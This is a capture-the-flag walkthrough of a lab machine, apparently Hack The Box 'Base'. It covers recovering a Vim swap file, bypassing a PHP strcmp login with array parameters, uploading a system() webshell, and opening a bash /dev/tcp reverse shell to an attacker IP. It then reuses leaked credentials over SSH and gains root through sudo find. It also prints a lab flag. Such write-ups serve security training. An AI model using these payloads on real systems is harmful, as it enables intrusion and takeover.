We can see a very simple webpage with the provided links in the navigation bar. By clicking the Login button, we are presented with the login page:

http://10.10.10.48/login/login.php

We can see that there is a login directory, where the login.php is stored. Let's try accessing that directory by removing login.php from the end of the URL.

The /login folder seems to be configured as listable, and we can see the php files that are responsible for the login task. There's also a .swp file, which is a swap file

Swap files store the changes that are made to the buffer. If Vim or your computer crashes, the swap files allow you to recover those changes. Swap files also provide a way to avoid multiple instances of an editor like Vim from editing the same file

The swap file was probably created due to a crash of the Vim application while the developer was editing the file. The file ended up being unnoticed and left in the web application files where anyone can download it by clicking on the login.php.swp in the listable directory. The web server is set up to handle requests to .php files by running the PHP code in the file, but because the extension of the swap file isn't .php , the web server returns the raw code as text.

Let us click on this file and download it for further analysis. Navigate to the folder where the file is downloaded and read it to see if any parts of the code from login.php were saved. Typically the most straight forward way to recover a Vim swap file is with the vim -r [swap file] . But sometimes these files can be particular and won't recover.

As .swp is a temporary file, it contains a lot of non-human-readable content, thus we will use the strings utility to read this swap file because strings will only display the human-readable text.

┌──(kali㉿kali)-[~/Desktop]
└─$ strings login.php.swp

The Linux "strings" command makes it possible to view the human-readable characters within any file. The main purpose of using the "strings" command is to work out what type of file you're looking at, but you can also use it to extract text. The output from the strings command is as follows

After checking the code, we can see HTML/PHP code, but it's out of order and a bit jumbled. Still, there's enough there that we can figure out what the code is trying to do. Specifically, the block of PHP code that handles login appears to be upside down. To make it look normal we can place the output of the strings command inside a new file and read it with the tac utility, which reads files similar to cat but instead does so in a backwards manner

┌──(kali㉿kali)-[~/Desktop]
└─$ strings login.php.swp >> file.txt

┌──(kali㉿kali)-[~/Desktop]
└─$ tac file.txt

Now the output is much better for reading. After analyzing the file, here's the part that is interesting

The developer is using the strcmp function to check the username and password combination. This function is used for string comparison and returns 0 when the two inputted values are identical, however, it is insecure and the authentication process can potentially be bypassed without having a valid username and password.

This is due to the fact that if strcmp is given an empty array to compare against the stored password, it will return NULL . In PHP the == operator only checks the value of a variable for equality, and the value of NULL is equal to 0 . The correct way to write this would be with the === operator which checks both value and type. These are prominently known as "Type Juggling bugs" and a detailed video explanation on this can be found here.

In PHP, variables can be easily converted into arrays if we add [] in front of them. For example:

$username = "Admin"
$username[] = "Admin"

Adding [] changes the variable $username to an array, which means that strcmp() will compare the array instead of a string

if (strcmp($username , $_POST['username']) == 0) {
 if (strcmp($password, $_POST['password']) == 0) {

In the above code we see that if the comparison succeeds and returns 0 , the login is successful. If we convert those variables into empty arrays ( $username[] & $password[] ), the comparison will return NULL , and NULL == 0 will return true, causing the login to be successful.

In order to exploit this vulnerability, we will need to intercept the login request in BurpSuite. To do so fire up BurpSuite and configure the browser to use it as a proxy, either with the FoxyProxy plugin or the Browser configuration page. Then send a login request with a random set of credentials and catch the request in Burp.

Change the POST data as follows to bypass the login.

username[]=admin&password[]=pass

This converts the variables to arrays and after forwarding the request, strcmp() returns true and the login is successful. Once logged in, we see a file upload functionality.

http://10.129.95.184/upload.php
  1. Foothold:

Since the webpage can execute PHP code, we can try uploading a PHP file to check if PHP file uploads are allowed or not, and also check for PHP code execution. Let us create a PHP file with the phpinfo() function, which outputs the configurational information of the PHP installation.

echo "<?php phpinfo(); ?>" > test.php

After test.php has been created, choose the file after clicking the Upload button, and we will be presented with the following notification, which shows that the file was successfully uploaded.

Next, we need to figure out where uploaded files are stored. To do that, we will use Gobuster to do a directory brute force.

┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir --url http://10.129.95.184/ --wordlist /usr/share/wordlists/dirb/big.txt

The scan shows that a folder called _uploaded exists. We will navigate to it to see if our file is there. It appears that this folder has also been set as listable and we can see all the files that are uploaded

Upon clicking on test.php , we can see the output of the phpinfo() command, thus confirming code execution

http://10.129.95.184/_uploaded/test.php

Let us now create a PHP web shell which uses the system() function and a cmd URL parameter to execute system commands. Place the following code into a file called webshell.php

<?php echo system($_REQUEST['cmd']);?>
webshell.php

We are making use of the $_REQUEST method to fetch the cmd parameter because it works for fetching both URL parameters in GET requests and HTTP request body parameters in case of POST requests. Furthermore, we also use a POST request later in the walkthrough, thus using the $_REQUEST method is the most effective way to fetch the cmd parameter in this context

After the web shell has been created, upload it as shown previously.

http://10.129.95.184/_uploaded/webshell.php

The above URL returns with the output of the id command, letting us know that Apache is running in the context of the user www-data . Let's intercept this request in BurpSuite and send it to the repeater tab by pressing the CTRL+R shortcut, or by right-clicking inside the request and selecting Send to Repeater

http://10.129.36.200/_uploaded/webshell.php?cmd=id

Now that we know we can execute code on the remote system, let's attempt to get a reverse shell. The current request is an HTTP GET request and we can attempt to use it to send a command that will grant us a reverse shell on the system, however, it is likely that one might encounter errors due to the presence of special characters in the URL (even after URL encoding them). Instead, let us convert this GET request to a POST request and send the reverse shell command as an HTTP POST parameter. Right-click inside the Request body box, and click on the "Change request method" in order to convert this HTTP GET request to an HTTP POST request

In the repeater tab, we can alter the request and set the following reverse shell payload as a value for the cmd parameter

/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP_ADDRESS/LISTENING_PORT 0>&1'
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'

This reverse shell payload will make the remote host connect back to us with an interactive bash shell on the specified port that we are listening on.

In order to execute our payload, we will have to first URL encode it. For URL encoding the payload, select the payload text in the request body and press CTRL+U

cmd=/bin/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.6/443+0>%261'

It's important to URL encode the payload, or else the server will not interpret the command correctly. For example, in the POST body, the & character is used to signal the start of a new parameter. But we have two & characters in our string that are both a part of the cmd parameter. By encoding them, this tells the server to treat this entire string as part of cmd .

Let's now start a Netcat listener on port 443 and then send the request in Burp for the payload to execute.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443   

A reverse shell on the system is successfully received.

  1. Lateral Movement:

As we already know, the Apache server is running as the www-data use and the shell we received is also running in the context of this user. www-data is a default user on systems where web servers are installed and usually has minimal privileges. Let's enumerate the system to see if we can find any interesting information that might allow us to escalate our privileges. We will first check the configuration file in the login folder that we found earlier. These configuration files often include credentials that are used to communicate with SQL or other types of data storage servers. Let's read it.

www-data@base:/var/www/html/_uploaded$ cat /var/www/html/login/config.php

$username = "admin";
$password = "thisisagoodpassword";

The config.php file reveals a set of credentials. System administrators often re-use passwords between web and system accounts so that they do not forget them. Let us enumerate further to see if this password is valid for any system user. To do that, we will first list the files in the /home directory to quickly identify the users on the system

www-data@base:/var/www/html/_uploaded$ ls /home

A folder called John is found, which gives us a valid username.

The su command can usually be used to switch to a different user in Linux, however, as our shell is not fully interactive, this command will fail. There are methods for upgrading this shell to an interactive one, but luckily, the Nmap scan showed that port 22 is open, which means we can attempt to log in as the user John over SSH with the password that we identified.

┌──(kali㉿kali)-[~]
└─$ ssh john@10.129.95.184

This is successful and the flag can be found in the users home directory, i.e. /home/john/user.txt .

john@base:~$ ls
user.txt

john@base:~$ cat user.txt
f54846c258f3b4612f78a819573d158e
  1. Privilege Escalation:

We now need to escalate our privileges to that of the root user, who has the highest privileges in the system. Instead of running a system enumeration tool like linPEAS , let us first perform some basic manual enumeration. Upon checking the sudo -l command output, which lists the sudo privileges that our user is assigned, we see that user john can run the find command as a root

It is rarely a good idea to allow a system user to run a binary with elevated privileges, as the default binaries on Linux often contain parameters that can be used to run system commands. A good list of these binaries can be found in the GTFOBins website

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

For windows systems, the equivalent of this is the LOLBAS.

Once we navigate to the GTFObins website, we can search for find .

Under the Sudo section we see the following. According to GTFOBins , we need to run the following command in order to escalate our privileges:

john@base:~$ sudo find . -exec /bin/sh \; -quit

The -exec flag is used with find to run some command on each matching file that is found. We'll abuse this to just run a shell, and since the process is running as root (from sudo ), that shell will also be running as root. Instead of sh , we will use bash as it offers better syntax and it is actually an improvement over sh . Once we run this command, we successfully obtain a root shell.

The root flag can be found in the root folder, /root/root.txt .

Last updated